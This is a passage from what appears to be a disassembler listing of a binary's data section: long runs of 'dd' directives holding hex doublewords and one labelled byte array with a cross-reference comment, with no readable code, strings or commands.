0F958914Dh, 48589026h, 198A1CB1h dd 1718D63Ch, 1659A1BFh, 64E3484Bh, 35CC2283h, 0B2343142h dd 398017B8h, 5C452E83h, 92FC0C7Ch, 0C1D10158h, 7720E800h dd 0F67B1D82h, 48E15161h, 46BCB6D2h, 0CD21C341h, 42781D6Fh dd 20B418CEh, 6D67BE16h, 398C0491h, 2299321Fh, 54848061h dd 25B5215Fh, 0B12F8C00h, 1A877218h, 0FF9A71h, 992D64Dh dd 0DC2B8016h, 83612109h, 922C8F32h, 0E03B7007h, 160A5700h dd 817A60BDh, 0A61A5ACEh, 20A6D7F8h, 0CBCB352h, 30418A40h dd 609C9245h, 0A00308A8h, 0F7F8018Dh, 10411841h, 3880115Ch dd 710C40EAh, 78002FE0h, 0AB3FC10h, 0FD802ADh, 767C7345h dd 3922C3E2h, 23EEE0E0h, 0E63B8400h, 0D0B6463Eh, 4E0C03D6h dd 384CE1D3h, 0A0DCA2E0h, 44DA111Eh, 41BD7300h, 0F3FD162h dd 24CB4FD9h, 484049ECh, 0D339B410h, 45E1C909h, 0DCBBF980h dd 0C4000592h, 0B37F2149h, 16FEC37Ch, 34BD0FBh, 0E73B43B9h dd 25B47380h, 650CC103h, 0E0462CC7h, 0B1C6BBFAh, 55042390h dd 4AF8A0FAh, 245C2BD2h, 0D8F43Dh, 71C61C9Dh, 7E007721h dd 2EE1C53Ch, 0D54E1Eh, 0F5495E24h, 36B34F3Dh, 62DA9F0Ch dd 3740D3h, 930480FCh, 2849E0CAh, 6AB36C07h, 0D9E0F3D6h dd 75892E73h, 3390017Fh, 9B35C05Bh, 5E2D000Ch, 99F7400Ah dd 46CDCA00h, 68B3730Eh, 32E500DAh, 302067D0h, 3B030D5Eh dd 26C05F22h, 1561F8E0h, 3F3EF83Ah, 9F8280E9h, 3446CE1Fh dd 22403861h, 78A0EB94h, 420022C7h, 0DDA2F634h, 0DBCAA0h dd 0B3720E49h, 0FBF3DE63h, 0D54BE000h, 0F40F842Dh, 89460723h dd 0C0DFC1FAh, 105D2AD3h, 7473B00h, 43C611ADh, 6FB60021h dd 0C88D3095h, 8CE232C1h, 0F6355400h, 8E8A493Fh, 0D140C19Fh dd 0D442Ch, 8AD01h, 0B61049D9h, 0E7C2717Dh, 7BF52D3Ch dd 0E9FA48E8h, 0B9003373h, 35E0C139h, 71782CC4h, 0AB0003Bh dd 77D90794h, 8CB3B810h dd 0F3355057h, 0E1E04900h, 0A2E93842h, 169D0E0Fh, 0B82174CCh dd 0F2C58FB2h, 0A0CA8003h, 0E4FA3B45h, 39B5009Ch, 0E0770CC2h dd 49005D26h, 9606BF8Eh, 4CDC1Ah, 80766A34h, 0DA31E81Dh dd 30ED1000h, 9AF60B4Bh, 26B60067h, 0D435D996h, 0E70452Bh dd 0E91FA400h, 735FC9CAh, 8DB30077h, 0CF38F4C6h, 3100EF10h dd 3FE90C84h, 3935B859h, 0F836D3h, 3B3C5C29h, 59103B6h dd 0E419700h, 1D6FB478h, 44ACB08Eh, 3DF02275h, 888A4A27h dd 423880Ch, 0D700F67Fh, 0FEDC6353h, 133655Bh, 0D28F57FBh dd 4A4127F5h, 0C77CB034h, 60AB01E2h, 8D48FC3Eh, 7407D0DCh dd 0BB256F08h, 3A585040h, 0E0E203FFh, 880C576Ch, 0FE014430h dd 5CB38124h, 0C078894Bh, 0C5211430h, 3D00FE4Ch, 811FBF7Dh dd 66ABAD19h, 61304E70h, 0FE7BF400h, 0E82D4D13h, 493E07A3h dd 0F058DC52h, 0CF226003h, 81510760h, 718AF8Ch, 8FA61DC8h dd 206AC5E3h, 22FE4648h, 11A38123h, 4EC70017h, 0AFE67AFEh dd 0B6F81D5Ah, 4C482580h, 0F5881BE8h, 84BE0020h, 49791436h dd 2D0EAB10h, 692DB3Fh, 510A87h, 0EE3A849Dh, 0BE321DC3h dd 1CACD47Ah, 0BCEF2F40h, 0E4A48014h, 496688B8h, 95CB0F1Eh dd 7046ACA8h, 28FE5001h, 5C5D5381h, 5800C964h, 63F9AAFEh dd 2096F81Eh, 9200297Ch, 6B49F618h, 0C121FCD4h, 0B54ECED0h dd 27208123h, 197ECB22h, 8C6EE848h, 26FE4205h, 3C224381h dd 4ACB2015h, 0F01C45FEh, 2218ABA0h, 0DF1D5860h, 0C79CC021h dd 0C1F346EAh, 0EF292D00h, 0E48B0CCEh, 91774A1Bh, 50F38C28h dd 3C40B188h, 3892687Fh, 8E940700h, 6B84A0EEh, 87A84A0Ch dd 5C215CA8h, 0F8E6C00h, 9D5A0E1h, 4E19244Dh, 0EE6F8054h dd 0F5F892DAh, 0D03D7B12h, 646DC0A1h, 0DAD60900h, 0CD041F48h dd 22FCA50Ah, 8102D41Dh, 48135FE4h, 6766CC2Ch, 8A711820h dd 0B9053E30h, 40283F99h, 6CE833E4h, 290E853Dh, 0BD9A3EFCh dd 3F95B7C1h, 4F2BA81Fh, 0A2809B60h, 9E43B038h, 31729C18h dd 184F8768h, 293D3FDBh, 4B012651h, 2C23A843h, 0C2AC01Bh dd 7E212B6Ch, 974B3E01h, 17612201h, 0DE258850h, 0F6AB0F0Dh dd 0B9E0EDA6h, 0C7EFB5BEh, 0D9C01A00h, 9CF079E2h, 4BA8011Dh dd 0F4CBA02Ch, 70442B3Ah, 0C4106303h, 93013923h, 8CA0EF8Eh dd 5D890318h, 0E0BF8EECh, 0F6470FF7h, 8120D21Eh, 2318D392h dd 118460D0h, 22122495h, 0C4E427F3h, 8234C9A0h, 0C4AC7299h dd 84500924h, 1098596Ah, 0F4674h, 52C59C37h, 73C04874h dd 25F37CA7h, 60486165h, 0CD00FFE5h, 9E9FBE28h, 0FC9AB0h dd 0EEA8E673h, 0BB949C1Ah, 90DE6331h, 0C3E0812Fh, 0CDCA075h dd 92A00130h, 84B63FEDh, 80C020B0h, 18782640h, 381A7CACh dd 0D8DE0BD5h, 0AB813A10h, 209D7BBh, 8EF0333Eh, 9453A0D4h dd 6E5A80B8h, 889F8Eh, 9C89BFF2h, 0E1A556CBh, 7F8750Fh dd 0AD50C7ABh, 1B882B66h, 0C132BBDEh, 188090E4h, 4E6144ADh dd 76085720h, 11451980h, 9790E6FEh, 0AE6C9E00h, 1BA79C77h dd 0AB920D2Ch, 2048010Ch, 63402798h, 0A2A512BDh, 1FEC088Ch dd 85724003h, 20B16078h, 3B2F8CA1h, 0A17C18C8h, 180BD1E8h dd 40EF24C2h, 0C64160A8h, 9A7884BDh, 1678B49Ah, 4D13F69h dd 0EF604E0Ch, 0F82391DAh, 63118Dh, 66DAD70Ah, 16CC481h dd 0B86987A2h, 241C5791h, 126D158h, 6A00421Ah, 93B19651h dd 98B80008h, 6C3CBE72h, 180AA509h, 902248B5h, 65CA4105h dd 0A00974A2h, 0C8A254BBh, 8D84832Fh, 0DA38C871h, 70780C40h dd 0BB4D0F9Bh, 7186A7D9h, 4CA81855h, 17257881h, 0F6B468B1h dd 40DE006Fh, 0AC328A42h, 5706413Ch, 0E02E4A6h, 9D460C38h dd 6E687237h, 68D19899h, 85009418h, 0D40D2E1Fh, 17EE20h dd 0BA02CFD7h, 1692E7F9h, 7B35D000h, 0B1363E1Bh, 0D64F2686h dd 4B21C06Ch, 0DB21A846h, 2A9125h, 74B397Bh, 16B57FAEh dd 4798CB26h, 59D202Ch, 0C8A8143Ah, 528F2F09h, 0F09E4401h dd 0A9260354h, 59E196F6h, 149C442Fh, 0B3290301h, 8081ED6Ch dd 28003CE1h, 0C74CC22h, 26F4684h, 8125FE41h, 1012314Bh dd 7BFE49CAh, 0E12A00DEh, 21B5A6BBh, 428A02F6h, 0B17C00FCh dd 9848FFAAh, 2D946F4h, 0A8414B28h, 102D3133h, 4B4080h dd 709A212Fh, 8689C5EBh, 0C0C13078h, 6CD09B5Ch, 0D776C4h dd 0AFBB92A8h, 8954DBB3h, 4C031179h, 1BEAE56Bh, 8CE07705h dd 21FE4502h, 0C55CAB81h, 4DC681F0h, 590970FEh, 571C42C4h dd 0FEDAD830h, 22C546F8h, 0E00F0279h, 0B60EE2DAh, 0D9002BC3h dd 6736FDA4h, 576E5168h, 4272E895h, 823F063Dh, 9E8962Eh dd 0F3D6F4FEh, 0BE9A1C80h, 0AD0EBFBDh, 0AA3268A1h, 465EE0E3h dd 0F183F11h, 0C4048548h, 108112EEh, 670C5999h, 5930B986h dd 0BB5181Ch, 7C6F9C84h, 18DAF411h, 424B0825h, 55C43BA8h dd 4B3D7F40h, 5E00BBD6h, 0E7339474h, 13A092DBh, 421F6248h dd 9A256628h, 0F8DC8460h, 0FDA7EA02h, 6AB062EFh, 58D0C094h dd 52F58006h, 0BAA69807h, 7D73BDD9h, 506FC05Ah, 2A143085h dd 7B8742F8h, 14D18891h, 902CC018h, 0E0202EC1h, 1F40F106h dd 9D13A9Fh, 91EF4A8h, 8D0F4880h, 22807843h, 50512882h dd 72E04690h, 0A8234B7Ch, 71443B0Bh, 148E3F61h, 48E5AEF6h dd 78A7C089h, 0B92074D8h, 0BAA50042h, 29402847h, 9F50CE83h dd 224A45F4h, 0C9EC8427h, 1EA701F0h, 2B943CB0h, 0A0A08016h dd 0A39110D5h, 0E022588Ch, 40287486h, 26A4803Bh, 60B4342Bh dd 7610C2C2h, 138C8C70h, 8A1A9649h, 5C794486h, 6A4D8998h dd 94A75080h, 5C98D326h, 0A1DE4B20h, 0D3184AB8h, 0F895DA08h dd 0DB0E70EDh, 235DA02h, 64BB163Fh, 0EC5848E0h, 30C60387h dd 7DB735F5h, 80635F00h, 0AA28A194h, 39604861h, 0D9C80071h dd 0B36B3CA0h, 3F065745h, 771947F2h, 3B790951h, 0A0681B8Eh dd 44F68929h, 14D4BE2Eh, 0D541FC2Ch, 20D23F06h, 64AC4D37h dd 0D7948C50h, 3C34954Ah, 82A158C0h, 0F85D641Bh, 0DAED604Ch dd 0FDF82393h, 0C006711h, 0FBDFDAD5h, 206404DDh, 92411358h dd 8B2808D3h, 93907290h, 581810FCh, 0D9FF021Eh, 76F42249h dd 4F096E8h, 0A2D620E0h, 2F3900F4h, 6909D359h, 95E20FF9h dd 61CCD226h, 4490B0D1h, 0FC556820h, 3BEC29ABh, 814911E4h dd 0F896DAD2h, 4FB433F6h, 9A41FC0Dh, 0B6269EF4h, 20BC3424h dd 760A0CA4h, 0A02FAC50h, 82C032E0h, 2C2CFF9Ch, 4775147Ah dd 3224089Dh, 0CC4F8488h, 414FC9Ah, 4E33EC01h, 0AE9E7490h dd 48BB10DDh, 21340320h, 0F7F9BE4h, 28359920h, 5CF6B263h dd 0EE1080BCh, 6C277055h, 82C035E2h, 0AB1945F8h, 35D68040h dd 0E4B6420Ah, 1698DC39h, 4BB247E0h, 7D003A36h, 21CD008Ch dd 9B227FAh, 464EFCA8h, 0D80FC802h, 71BC5986h, 28E1829h dd 44BE9738h, 0D8AF7108h, 9C92D7C0h, 873DAB74h, 570972A3h dd 20336DDh, 216BCE8h, 0FC448272h, 0FC4D2C0Fh, 0D02857E2h dd 0D3FC917Ch, 58E660B4h, 8154941Fh, 8128212Ah, 13ECCCE5h dd 7A64200h, 0A1A5A9B2h, 40209F61h, 9FDD87C0h, 3FCFE909h dd 0F58402E0h, 0EBB32006h, 0C801232Ah, 589E5016h, 4A6A6942h dd 1C3857C0h, 8D807DFFh, 4305B412h, 0A200ED67h, 0CDE1DE11h dd 1692D3CBh, 0A5EF9940h, 4F4030D8h, 0B10BA272h, 98274AA6h dd 3F59F634h, 9E80A5BEh, 0C4C2A09Ch, 0CC7BA81Dh, 29E01A52h dd 5900C007h, 0C25DDF0Bh dd 0DE52008Dh, 53A45149h, 0BD388FC0h, 168CC8A5h, 0C43E6517h dd 80268C76h, 8D817449h, 86C9830Ah, 29F2E872h, 2F5F033h dd 0A597067Fh, 0D001BAE4h, 1793E614h, 15823FCh, 0F897DAD1h dd 9C7C33DDh, 0BEDAD9C0h, 4C4D5D45h, 7010402Ah, 0FF2D0157h dd 199B1F4Bh, 8724FC2Ch, 6B00DC78h, 0FC58447Ch, 80094D07h dd 20498572h, 0F3471C20h, 90E27300h, 0CB94BF6h, 0F3E9CA5h dd 116061D8h, 5E0A2F29h, 4FC00ABh, 6E3C90ADh, 421C019Ah dd 185089C0h, 0D3DCB238h, 0F30B173Fh, 5C59069Ch, 0A6065811h dd 610A96FCh, 168140E0h, 70C0882Ch, 0C48EBFBEh, 16EBDE4h dd 0C1FD8D20h, 64A2C823h, 7B530h, 0EF9A6D02h, 0F5842EEAh dd 4A0BCCE5h, 91002C90h, 0EA8E62Fh, 65316834h, 0C0B7B12Eh dd 0ACF7B38Ah, 42095200h, 0B9FF3A06h, 897401C9h, 16EAC825h dd 0D039BCh, 280BE35Ch, 0B9789EE4h, 0D09B4098h, 4E2D3E7Ch dd 91C49730h, 33AC8112h, 58C86776h, 0D6083070h, 14D7879h dd 0DE0A10B6h, 5813483Ah, 21D00820h, 0CEEB283Eh, 1454B1D0h dd 0CD22D04Ch, 8943A0C0h, 0ECB6F635h, 0E150C056h, 0A5D9A883h dd 592BF730h, 50931F2Fh, 0F61C3Dh, 43F7BE53h, 1B148B6h dd 0BD17680Ch, 27763104h, 5C835095h, 393E3B40h, 3DF903C8h dd 0C5315870h, 12B268B3h, 74DC9B30h, 2C7A1265h, 0AED004A8h dd 0E0900E18h, 9B208D3Bh, 479D24Dh, 71E4648h, 0B47428C6h dd 8238F4D2h, 542D488h, 2C9CC808h, 0E3D80200h, 0E9826067h dd 0C07B489Dh, 0D269C09h, 31186822h, 1F6BD00h, 0CBA012CEh dd 43085ACh, 954D0F0h, 0D5E8044Fh, 454B2460h, 25D3A812h dd 7C0128CAh, 7D034B3Ch, 5BE7D8F8h, 64049C01h, 0A5284BEh dd 0D09DA03Ch, 442E9309h, 802C6323h, 0A6CEBB00h, 32E0545h dd 0CA4F72D7h, 7DBE4A7h, 0A0F06805h, 0B0BC3CA3h, 4B6C304Bh dd 3A01A5C0h, 8132D242h, 0E8EA3F9Ch, 2C136E40h, 11A434A6h dd 6F571E12h, 85E23900h, 79DFBCh, 1B892797h, 0D6ACC05Dh dd 289C3E50h, 0BCD12D41h, 0C3CCEAC6h, 2478238h, 38CEF216h dd 816054B4h, 0BD68EB84h, 0C5892821h, 919041B9h, 0D0488B18h dd 8C546B2Eh, 0D28E9860h, 0C064A021h, 0D78E7068h, 2EA4140Ah dd 170BFC03h, 1034D090h, 2559D8B6h, 91909748h, 68D98457h dd 147F3A80h, 0EC810C12h, 0FAC86D0Fh, 0FC0ECC2Ah, 0D04FF889h dd 0D0BC0BE4h, 8E84A802h, 45D8AB71h, 80B1EE54h, 0FC47384Bh dd 0CC0BBD4Eh, 0A708DC71h, 24089F40h, 9F658020h, 74CC3ACEh dd 0F0519368h, 0A11E3039h, 5C5F429Bh, 0DE009511h, 816A82CBh dd 404E5E37h, 0C7EA3440h, 5E2D90Ah, 2242D3FCh, 0CB6CC120h dd 9178D4D4h, 4FD23012h, 4083140Eh, 0FB9417F7h, 89649E2Eh dd 2C10E040h, 251E6941h, 84D24FD3h, 0B13B6023h, 28744D23h dd 12613042h, 9164F6D9h, 1B24BC01h, 1D746A8Ch, 3BC8E441h dd 0FC324100h, 1749A7E5h, 871891CCh, 0D0C250B0h, 0D76CE0FAh dd 0BBA78017h, 10ACEA48h, 0F61D0798h, 0E9D8BC57h, 0F59CC200h dd 8670B97Ch, 626072C7h, 0B8BB92E0h, 8B30D204h, 0C063C8BCh dd 0A2A60EF2h, 818DFD01h, 50768B5Fh, 20D2DC31h, 264EB229h dd 58964217h, 0F92F5040h, 930932CCh, 24172540h, 0B4831891h dd 52486494h, 33B22D0h, 6A95D7F7h, 16924861h, 0B411D0A0h dd 740EB2ABh, 600897CFh, 0BFB65F0Ch, 2030B0A7h, 424C4124h dd 808A108Ch, 860268D0h, 3F642CB4h, 6A77CCC0h, 96301083h dd 0AF35C815h, 380350B7h, 91DE6D78h, 0F19F0358h, 2C6EB0h dd 24CF07ECh, 96503DE0h, 5640BCACh, 80215540h, 0DC90AC47h dd 2E7ED0F5h, 258930Ch, 0A0DD35C0h, 91CE0C0h, 0D7C011BFh dd 3B3439A4h, 4B220B46h, 0BEE47847h, 3A7A5048h, 50944B00h dd 1384828Fh, 888A01Dh, 3FD1C37Eh, 96B0B109h, 0B90076E1h dd 0D7FFAC72h, 0BA4482Ch, 0E301521Eh, 81DE4C1h, 8CB98CBCh dd 8760B45Bh, 0ABF058F6h, 9D2D9C2Dh, 80639160h, 0CC6CBD06h dd 0D9B70007h, 83407BA2h, 0E9C04384h, 0D14ECE97h, 4428B442h dd 0C3052EBh, 0EBCC0A7h, 0B3C59BB5h, 0D032A480h, 4740F086h dd 2871691Ah, 0D11209Dh, 75A48483h, 41305011h, 8C0FB8h dd 72FD2D81h, 20212FA1h, 0F32594E4h, 4C40217Fh, 503C358Fh dd 92089320h, 0F1A28ABh, 17010AF8h, 31B24A1Eh, 0F54009CDh dd 0B400708Eh, 5E58F4BEh, 0CD8E086Ah, 57802440h, 0C544164Ch dd 8B8005FEh, 0C17D64E0h, 2CEAFCC9h, 68810934h, 8060B73Dh dd 8971AC52h, 5B018206h, 56F51B7Eh, 285A5017h, 57A0C0C0h dd 83580507h, 0F8710568h, 70D0289Eh, 4D6AA394h, 700BD0EEh dd 0B49D3F91h, 6C807A11h, 9AD7CBA0h, 1F0A867Ah, 0A4628D4Eh dd 0D1F24D41h, 24384AF4h, 0A0A976h, 8135237Bh, 0BC0A407Ah dd 9C82E207h, 46745024h, 0AD75017Ch, 66478C84h, 0A4588032h dd 7BC88048h, 0E4814081h, 28A47EAFh, 46548858h, 8AC2807h dd 2F507AB9h, 0C0112EC9h, 22A422EAh, 18740013h, 0F854538h dd 1204D61Dh, 5462ABDDh, 38942CACh, 718C03B8h, 3CC1005Dh dd 0DE1D71Bh, 0A561BDDEh, 22DCECD2h, 54629875h, 0A834F1Fh dd 0C70C23E2h, 0DBF2B05Fh, 220512D3h, 0F6BE539Ah, 0B881A5C4h dd 280C1A08h, 0E4FC5041h, 1D0096AAh, 80DB898Bh, 3A1DA459h dd 0D41A1220h, 0F630C08Ch, 0FCB42F9Eh, 0F4AC8003h, 51190A21h dd 11983FDEh, 122D000Ah, 608F04F5h, 71CC0269h, 440914E3h db 0C3h byte_4E0049 db 9Bh, 0C8h, 0C7h ; DATA XREF: ___:00437DD4o dd 90B12FF4h, 7D73C80h, 75B23608h, 0DFE40382h, 0C49A3BEh dd 0E0F2F4E8h, 1561CE18h, 0E72731h, 3F46AC3Bh, 32232CBAh dd 0CB51C300h, 0A8D335CEh, 56B0F3Ch, 7180924Ch, 907231B2h dd 168B7496h, 58AC11A6h, 5101B829h, 5265D68Dh, 5987608h dd 6F478481h, 19958B0h, 0B9CA1602h, 24938D10h, 0BF06A644h dd 34389484h, 709CBB10h, 0CC1C50AFh, 4080C566h, 41EEE61Fh dd 4630900Ah, 8E97023Dh, 516CA0D3h, 6F596084h, 0BF01558Eh dd 0E48C5CCAh, 0F04D4B2Bh, 0EE28874h, 4A79A6ADh, 0EE208F61h dd 818820EFh, 488C2788h, 4B101078h, 0DB310074h, 0F66E5713h dd 0BB930849h, 0F8162288h, 0D3942C30h, 51AC3E2Bh, 435C4206h dd 6D225869h, 678D1824h, 0B2CC78E0h, 811378BAh, 0B0B0F79Ch dd 0DCE427A4h, 90A546Ch, 0B863839Ch, 396AE48Ch, 0B7E20478h dd 0EC41282Ah, 0C42E4BCCh, 3A1323h, 0C15E9295h, 122C26F5h dd 0B1F4B518h, 1DA44A0Ch, 10225C9Ch, 841CA2FCh, 34EC4C1Bh dd 444A188Bh, 0F200C859h, 0A8D821F7h, 200B041Fh, 814352F6h dd 330932FBh, 3D682264h, 59A84D78h, 1C02144h, 0BD3A9B08h dd 0F637A582h, 680E773Ch, 5262647Dh, 2C8A88Bh, 0D6F9E7C0h dd 0BDC70F90h, 0A800DAB7h, 9B55E4FDh, 460448A7h, 11AFF6FCh dd 69C94878h, 0E919C9Fh, 0AA3F6681h, 2F588824h, 1E916E20h dd 0FA0406A8h, 3C8199B2h, 94732F61h, 0EC828A71h, 24C47A77h dd 91690221h, 9D780512h, 0B0F43944h, 5C0B427Ch, 8C79AC10h dd 0E06E6500h, 20B5BFBDh, 8FA502CCh, 7D139C02h, 9924482h dd 4527AC22h, 0F65119Ch, 6C9C848Fh, 10A83812h, 3E7772CCh dd 0EBE5939Dh, 58C80CF6h, 48BB9202h, 0C6E04A40h, 8AE0A3E4h dd 44D832AAh, 72FCCF0Bh, 91F097B2h, 227B800Eh, 18837E14h dd 0B9785784h, 734132F4h, 7078E7F1h, 18C55BCh, 37EF5B6Ch dd 0F8D7A624h, 584E70C4h, 0F588E040h, 1A0D829h, 6759DBF3h dd 0D949E387h, 0C4BC2241h, 0A0B30C21h, 6B3063B2h, 0BF0D037Ch dd 0D88BFECFh, 0D4AEF690h, 84E02B48h, 4D080588h, 0A6096611h dd 9CD03EFCh, 14EFE0A1h, 316ED891h, 0D6EDAC28h, 5F1DFA30h dd 9A5C4019h, 54E22840h, 0E5D40B00h, 0A8CA30AEh, 994F00DEh dd 0E496980Eh, 88C4265Eh, 0B08C496Fh, 9240409Bh, 7D36397h dd 0B1B32FC8h, 3F062322h, 0D800D1A6h, 247670Bh, 0F6A792h dd 0D5D6F489h, 0E482EA1Ah, 6882EB4Fh, 22CEC97h, 253A1EA8h dd 7CC22BD5h, 0B14E1047h, 0F746D080h, 9F00E170h, 0ED75D789h dd 0F2E7BBAFh, 8A81005Ah, 0C3F35D1Bh, 7C9045B5h, 3C4FAC20h dd 9E0931B1h, 0F81029B0h, 0C8833008h, 9FCF83h, 3AA4CD0h dd 5E472460h, 1FF2E412h, 756056h, 2AB294A2h, 13E1FA30h dd 903165CBh, 325DA5A8h, 97019900h, 77618B33h, 0A69E0214h dd 3F267075h, 79792CF9h, 19090718h, 763C3F8Ch, 9B806E68h dd 7094FC86h, 31E2F8A3h, 412C7629h, 6891539Dh, 40E09294h dd 28204C21h, 50C0EF25h, 9615F869h, 1FEC5004h, 4280320Eh dd 1710D576h, 0A0BE5CCAh, 3E6F7717h, 0F552398h, 64E07BB3h dd 28B818FAh, 1AC2B4Ch, 69B97A4Ch, 9E20E2E9h, 340D4C02h dd 5725A10h, 507BE49Dh, 56EC84A8h, 5C35008Ch, 0BBD7A16Ah dd 0BD072F0Ch, 0C184A7A5h, 0B0143243h, 4AE3CCFAh, 0C8FC8B28h dd 286DC02Dh, 82F102FCh, 0A616E0B0h, 44585274h, 4D1F9F01h dd 445338A3h, 1382AB00h, 1D3405Dh, 3176BB94h, 0F6723B52h dd 309E005Ch, 8C84BF82h, 9E64DCB3h, 8E8E432h, 0D5011AC0h dd 0BACA160Ch, 5E5F460h, 2257A191h, 8198A4C9h, 54CF68C0h dd 2ECCA393h, 0D47004h, 9D62989h, 0E0970A95h, 403FEC80h dd 8410A44Bh, 0B20028C6h, 29B3669Dh, 63096192h, 0A783E481h dd 0E94C0878h, 85A400D1h, 0D042BE22h, 0A10147AAh, 0B82093F4h dd 452004F9h, 583F27B1h, 9BED8068h, 857D8E00h, 0A2D19616h dd 32076B0h, 0C636F222h, 3FB0C468h, 0A7129AB6h, 0AC8B2C73h dd 0A0CF01C8h, 0ECE8B2D9h, 0F66705EEh, 0A9260896h, 9EA1074Ch dd 0AB259Ch, 22F448C0h, 16F9C00Ah, 261C9AF8h, 746EF05Fh dd 0C0950D1Fh, 0B88BF92Fh, 3D585237h, 0A4BB1300h, 27F62CA0h dd 0FCC507E0h, 0B480D1EEh, 20954EECh, 88B02CBEh, 0F834A63h dd 6157E4A3h, 0A047F020h, 78121F30h, 0A0D4CE22h, 202FE4ACh dd 0A014742Ah, 48E82090h, 99014CACh, 20F02755h, 246C0885h dd 47A39205h, 4E48D1DEh, 2504D6DDh, 65A258F3h, 537E030h dd 10A94AEh, 1378C408h, 0F7D4F230h, 16D4C068h, 8095FCADh dd 4189E958h, 48F2F409h, 9B0FF8B9h, 99A0E685h, 15BE2A6Bh dd 489C36EAh, 0D8A55307h, 638C23C1h, 0A4091C38h, 0A02116CCh dd 3F31C382h, 0CE612C08h, 13A8FE4Ah, 0C02CF25Bh, 63FE57D0h dd 73BD0B0Ah, 34840B72h, 8464B8ACh, 6E41CB9Bh, 0E091712Fh dd 20C608A8h, 4031D330h, 1F3D5039h, 522449Ch, 0A3957082h dd 0B3DC1362h, 3066A210h, 0BA00657Eh, 4D764BA6h, 34E874Ch dd 0FC91D289h, 50C2800Ch, 16DC007Eh, 0D31BAEh, 0F992B1CEh dd 8C2582E7h, 3290C0BFh, 80D91EC0h, 3880AFD4h, 7B942126h dd 78C440BAh, 0C880EE1Fh, 5DABA00Ah, 4204D0F8h, 4022315Ah dd 601B2345h, 0F3F662h, 9E6B6377h, 61AE1C36h, 7E94C700h dd 70AB9372h, 2D30920Ch, 98404729h, 0B2EE84A2h, 50B7994Ch dd 9C76A8A0h, 0DEE71CBAh, 0A08130DCh, 3A849518h, 42C0402Ah dd 2BC2E2E7h, 782FD73Fh, 51709616h, 4016AC41h, 2AA4E667h dd 11F848D0h, 3D910126h, 0F8E9A8D3h, 5EDFCCh, 267AB730h dd 6F9B208Fh, 846F29D3h, 4001C31Eh, 739C8477h, 0EA049222h dd 46754ECEh, 3022B8B2h, 0C38C8308h, 0FC32027Dh, 88082096h dd 0FA013C2Ch, 0AE9CA524h, 0E900EC38h, 2EE419E1h, 0F60D9FA4h dd 582C5886h, 188FD468h, 5548F7E0h, 30030C91h, 0D7B18015h dd 0BD201DFAh, 0AC045DF5h, 2A4674C4h, 28EB6B05h, 296CC0BAh dd 17B7D084h, 822D9130h, 48780841h, 0B23F788h, 406E05B1h dd 766D0700h, 0B8B83CD9h, 1680A1BDh, 1154BA4h, 5823B81Ch dd 0F2A454D6h, 5DD30184h, 0E243286Eh, 92EBCECh, 95FDC667h dd 898088D1h, 0C15A1EC2h, 7C199D28h, 6AC84221h, 0C5A528DBh dd 602DE4F0h, 0FE95C267h, 0C091003Bh, 45D711A7h, 5973F69Bh dd 104C3849h, 0A80676C3h, 0A0122284h, 3F2F8B02h, 0A46D8572h dd 74F84780h, 9CB38482h, 0ED2FBDC0h, 4BFC0F00h, 0C3461F82h dd 4FC92948h, 0C6830094h, 136AE4A5h, 0E70358C0h, 0C59DCB21h dd 49481A9h, 0EB47BE78h, 9843404h, 0F59D7204h, 1C042020h dd 24CE0640h, 11641B71h, 8C810427h, 401167B7h, 50558600h dd 0E49D35F8h, 0D47C8C7Fh, 6284480Ch, 0F0F907Eh, 9D786F3Fh dd 41CC8157h, 78573AC9h, 9F01E46Eh, 0D42039B0h, 4CE43850h dd 3F1C10A8h, 0DBF39402h, 6C5842F2h, 2E511022h, 0FD82919h dd 0E482B696h, 0CFC0BBCh, 8A5313F4h, 16A40228h, 8475D958h dd 0C4ED68FCh, 8721D303h, 9BF888E9h, 0F6004612h, 4DA601CBh dd 5A9D4726h, 0EC18856Dh, 57F6815Ch, 11963BF0h, 34410FA7h dd 0C8648EB6h, 4178C00Fh, 7F1E91A0h, 5D450E99h, 0F001802Eh dd 0E8CC221Ah, 23BC3E6Eh, 8803F12h, 76163505h, 0F45C21C4h dd 0C989808Ch, 48CE6425h, 4D6184Ah, 955188Ch, 0A70DE12h dd 117040D8h, 8E69803Fh, 9C7CA0D1h, 6167587Ch, 927D8E00h dd 5E44D09Ah, 19D8C9C6h dd 0EFDD5C04h, 0F9E3200Bh, 191671F4h, 95836FC8h, 11C1AC90h dd 0D8773200h, 1778F0E2h, 0A4D50E93h, 0CBC08FE9h, 6B4C3183h dd 0B6017CB0h, 42C8E0A8h, 0CADFF897h, 912CD62Ah, 27B05334h dd 0B12078F7h, 1815D180h, 734E15BFh, 2F0980F1h, 80323417h dd 0D1D81041h, 0C1845BAAh, 704445A1h, 9434C20h, 5D8D84A4h dd 7418EC0Ah, 0E3001146h, 0D3E7C69Ch, 2AE79375h, 4FB96888h dd 0C8288E28h, 9F09C116h, 5C3C705Ah, 0B0A476E4h, 29F5CC35h dd 72E9D401h, 10000E9Eh, 27802E40h, 0BE5B004Eh, 3B96DE38h dd 3E00366Fh, 0B60F2B17h, 4C50FBD8h, 303A7037h, 0A07A4Eh dd 408A08F2h, 0E3E56998h, 246A4AD5h, 9CB0CB18h, 0BE8601A3h dd 0E49443CFh, 0A4B40E84h, 0B00C9AFh, 0A40DA810h, 78C7D102h dd 0E81F4658h, 4157844Ch, 6F3C2049h, 0FCF158B0h, 69D26D9Ch dd 57C8A88Bh, 0AD7160C0h, 145B8C4h, 0A3D78341h, 0AC510184h dd 870888A0h, 9C080B17h, 0DC5B442Bh, 0D9DD370h, 4A389AB2h dd 7025FEB8h, 802964F0h, 0CC134842h, 84D1171Ah, 0A09631Bh dd 0C02B8870h, 0B4C86CCDh, 6A0023FEh, 0B95CE114h, 6007B898h dd 0B329D179h, 44909992h, 89C91240h, 5BB6FC89h, 0F5B2481Dh dd 9C01E85Ch, 65284EF4h, 0D097B0A5h, 0EF800391h, 3B5675ADh dd 0E8EEAF09h, 5D4D9E0h, 4B26FCA6h, 0A86DD780h, 9AEACCC1h dd 307E0431h, 0F0119988h, 967E6F09h, 5C240077h, 0BE49BA17h dd 4FB942E4h, 88D27125h, 0F1C05197h, 5C1854h, 0F1389CB8h dd 0D4FC94E2h, 96F8AE04h, 920259CCh, 0E47E84D3h, 7A441F1Ch dd 0DCAC08D4h, 4A42C000h, 8193859Bh, 480A9624h, 44A4E425h dd 845E7295h, 20AB6088h, 224F3AFCh, 2DC8248Bh, 80D4F3C9h dd 0E1A7CBC5h, 9113783Eh, 0D08043F3h, 3E65B85h, 949D66C1h dd 98054FD3h, 0ED10C0A7h, 0A600ACB9h, 0F99C9EBFh, 61F0C3E4h 